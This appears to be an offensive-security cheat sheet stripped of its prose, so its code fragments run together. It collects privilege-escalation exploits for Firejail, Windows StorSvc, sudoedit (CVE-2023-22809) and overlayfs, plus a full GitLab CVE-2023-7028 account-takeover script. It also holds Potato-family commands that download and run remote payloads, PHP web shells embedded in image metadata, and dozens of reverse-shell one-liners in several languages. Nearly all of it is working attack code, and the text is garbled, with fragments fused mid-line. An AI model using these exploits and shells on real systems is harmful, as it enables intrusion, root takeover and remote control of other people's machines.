with tempfile.NamedTemporaryFile('w') as tf:
tf.write("auth sufficient pam_permit.so\n")
tf.write("account sufficient pam_unix.so\n")
tf.write("session sufficient pam_unix.so\n")
# Be agnostic about the PAM config file location in /etc or /usr/etc
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
if not os.path.isdir(pamd):
continue
for service in ("su", "sudo"):
service = Path(pamd) / service
if not service.exists():
continue
# Bind mount over new "helpful" PAM config over the original
bindMount(tf.name, service)
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")
while True:
line = sys.stdin.readline()
if not line:
break./firejoin_py.bin
You can now run 'firejail --join=193982' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.firejail --join=193982
suhttps://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc
Modify the following file and build the solution.
StorSvc\RpcClient\RpcClient\storsvc_c.c#if defined(_M_AMD64)
//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022Modify the following file and build the solution.
StorSvc\SprintCSP\SprintCSP\main.cvoid DoStuff() {
// Replace all this code by your payload
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}First get the paths from the environment, then use LocalPotato to place the malicious DLL.
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dllAt least trigger StorSvc via RpcClient.exe.
.\RpcClient.exehttps://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466
- Sudo version needs to be ≥ 1.8 and < 1.9.12p2.
- Limited Sudo access to at least one file on the system that requires root access.
test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motdEDITOR="vi -- /etc/passwd" sudoedit /etc/motdsudoedit /etc/motd- Linux ubuntu2204 5.19.0-46-generic
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'python3 gen_libc.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledgcc -o exp exp.c
./expuser[email][]=valid@email.com&user[email][]=attacker@email.comimport requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()python3 exploit.py -u http://<RHOST> -t <EMAIL> -e <EMAIL>.\GodPotato-NET4.exe -cmd '<COMMAND>'<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>
$ErrorActionPreference = "Stop"
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
Write-Output "Looking for CLSIDs"
$CLSID = @()
Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}})){
if ($ID.appid -ne $null){
$CLSID += $ID
}
}
Write-Output "Looking for APIDs"
$APPID = @()
Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}})){
if ($AID.LocalService -ne $null){
$APPID += $AID
}
}
Write-Output "Joining CLSIDs and APIDs"
$RESULT = @()
Foreach ($app in $APPID){
Foreach ($CLS in $CLSID){
if($CLS.AppId -eq $app.AppID){
$RESULT += New-Object psobject -Property @{
AppId = $app.AppId
LocalService = $app.LocalService
CLSID = $CLS.CLSID
}
break
}
}
}
$RESULT = $RESULT | Sort-Object LocalService
# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"
# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET
# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation
# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii
# Visual Table
$RESULT | ogv.\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://<LHOST>/<FILE>.ps1')" -t *.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c whoami"gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcmysql -u root> use mysql;
> create table foo(line blob);
> insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so'));
> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
> create function do_system returns integer soname 'raptor_udf2.so';
> select do_system('chmod +s /bin/bash');.\PrintSpoofer64.exe -i -c powershellSharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");gcc shocker.c -o shocker
cc -Wall -std=c99 -O2 shocker.c -staticexiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"); ?>' shell.jpg
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' <FILE>.jpeg
exiftool "-comment<=back.php" back.png
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.pngbash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();package <NAME>;
import org.bukkit.plugin.java.JavaPlugin;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
public class Main extends JavaPlugin {
@Override
public void onDisable() {
super.onDisable();
}
@Override
public void onEnable() {
final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
try {
Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
} catch (IOException e) {
e.printStackTrace();
}
super.onEnable();
}
}http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")----';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shellnc -e /bin/sh <LHOST> <LPORT>perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'<?php system($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo system($_REQUEST['shell']): ?><?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->- hosts: localhost
tasks:
- name: badyml
command: chmod +s /bin/bash
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